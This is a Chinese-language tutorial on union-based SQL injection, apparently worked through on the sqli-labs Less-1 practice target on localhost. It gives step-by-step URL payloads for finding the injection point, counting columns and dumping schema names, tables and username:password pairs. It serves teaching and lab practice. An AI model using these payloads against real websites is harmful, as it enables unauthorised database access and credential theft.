在学习之前需要先掌握一些基本知识:
1 连接数据库:mysql -uroot -p // 回车 输入mysql密码 (root是对应的用户名)
2 查数据库:show databases; // (mysql自带几个数据库,建议解下什么意思)
3 使用某一个数据库:use database_name; //(database_name是库名)
4 查询数据库中的表:show tables; //(固定用法)
5 查看具体的某一个表:select * from table_name; //(table_name是表名)
6 查看具体的某一个字段:select user, password from table_name where id=1;
//(user,password,id 都是表中具体的字段名)
查库、查表、查列、查字段有对应的统一使用方法:
1 查库:select schema_name from information_schema.schemata;
2 查表:select table_name from information_schema.tables where table_schema='security';
3 查列:select column_name from information_schema.columns where table_name='users';
4 查字段:select id,username,password from security.users;
//以上4种查询方式背下来,以后学了mysql自然会懂。
一. 判断是否存在注入点(less-01):
1 构造如下语句:http://127.0.0.1/sqli/Less-1/?id=1 and 1=1 //页面正常
2 构造如下语句:http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 //页面正常
基本可以判断为字符型注入。
进一步验证:
3 构造如下语句:http://127.0.0.1/sqli/Less-1/?id=1' and '1'='1 //页面正常
4 构造如下语句:http://127.0.0.1/sqli/Less-1/?id=1' and '1'='2 //无回显数据判断为字符型注入。
如何判断是字符型注入还是数字型注入?以及sql语句是如何闭合的?
二.判断该表中存在的列数:
1 既然知道了注入类型,构造如下语句:?id=1' --+ 注释掉最后面的那个单引号,就可以形成闭合,这样在 ?id=1' 和 --+ 中间就可以插入其他select语句,进行恶意操作。
2 我们要做的第一个事,就是判断一下当前位置的这个表有多少列(后面解释为什么要这样做)
3 判断有多少列,我们使用 order by 子句。
select * from table_name order by 1; //表示查询出的结果按照第一列进行排序,
select * from table_name order by 2; //表示查询出的结果按照第二列进行排序,
既然 order by 子句的功能是这样的,那么不难理解,不存在的列,当使用 order by 时,自然会报错,显示超出列的范围。通过这个子句,我们就可以判断当前表有多少列。
4 判断的时候我们使用二分法,先试10,再试5,这样判断的快。
本例中,我们通过判断 http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
正常显示,说明当前表只有3列。
为什么要使用–+进行注释?为什么使用#注释报错?%20、%23又是什么鬼?
三.使用union联合查询:
1.union用法:
UNION操作符用于合并两个或多个SELECT语句的结果集,而且UNION内部的SELECT语句必须拥
有相同数量的列,列也必须拥有相似的数据类型,同时,每条SELCCT语句中的列的顺序必须相同。
说白了,就是把两个表的结果拼接成为一个表,能够拼接的前提是两个表都用相同的列,你是3列,
我也是3列。
前面讲过我们要做的第一件事,是判断有多少列,主要目的就是为了使用union联合查询。
(因为要构造相同数量的列)
2.limit用法:
limit m,n 表示从m+1行开始,取n条记录;
select * from table_name limit 0,1;` 表示从table_name表中的第1行开始,取1条记录,
select * from table_name limit 1,1;` 表示从table_name表中的第2行开始,取1条记录;
3.group_concat()用法:
group_concat(id) 表示把id字段的值在同一行打印出来,逗号分隔(默认)
group_concat('*',id1,id2) 表示使用*进行分割,拼接id1和id2
进入uinon联合查询正题:
http://127.0.0.1/sqli/Less-1/?id=1' union select 1,2,3 --+
表示使用联合查询,把字段1,2,3拼接到了`select * from users where id='1'`的后面,
结果如下图:
网页中的效果
mysql数据库中的效果
初步出现了我们想要的结果,在页面上有了回显,这个时候我们就想,如果把select 1,2,3 中
的字段3,换成是查询库名那不就直接OK了?于是构造语句如下:
http://url/?id=1' union select 1,2,schema_name from information_schema.schemata--+
结果发现语句正常,但是显示的结果还是users表中的第一行数据,我们想到的是把id=1'这个地方
让他不显示数据,只显示union后面的数据,我们可以把1删掉。语句如下:
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,schema_name from information_schema.schemata--+
我们发现,回显了我们想要的数据库名。
我们已经介绍了group_concat()函数,我们使用它就可以一次性的把库名显示出来,语句如下:
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
至此,库名已经全部爆了出来。
四.爆数据库中的表名:
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
建议将后引入的单引号使用去掉,单引号括起来的数据转为16进制,0x表示16进制,如下:
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
五.爆某表中的列名:
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
建议将后引入的单引号使用去掉,单引号括起来的数据转为16进制,0x表示16进制,如下:
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
六.爆表中的数据:
查所有的用户:
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,group_concat(username) from security.users --+
查所有的密码:
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,group_concat(password) from security.users --+
这么看不直观,最好是用户名和密码是成对出现:使用concat_ws(':',A,B)函数,表示拼接
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,concat_ws(':',username,password) from security.users --+
拼接所有:
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+
建议将后引入的单引号使用去掉,单引号括起来的数据转为16进制,0x表示16进制,如下:
http://127.0.0.1/sqli/Less-1/?id=' union select 1,2,group_concat(concat_ws(0x3a,username,password)) from security.users --+
至此,数据库中的数据被爆了出来。
简单概括union注入流程如下:
1.首先判断是否存在注入点及注入的类型。
2.观察回显的位置。
3.使用ORDER BY 查询列数。
4.获取数据库名。
5.获取数据库中的所有表名。
6.获取数据库的表中的所有字段名。
7.获取字段中的数据。
学习sql注入,了解成因,提高防护能力,遵纪守法!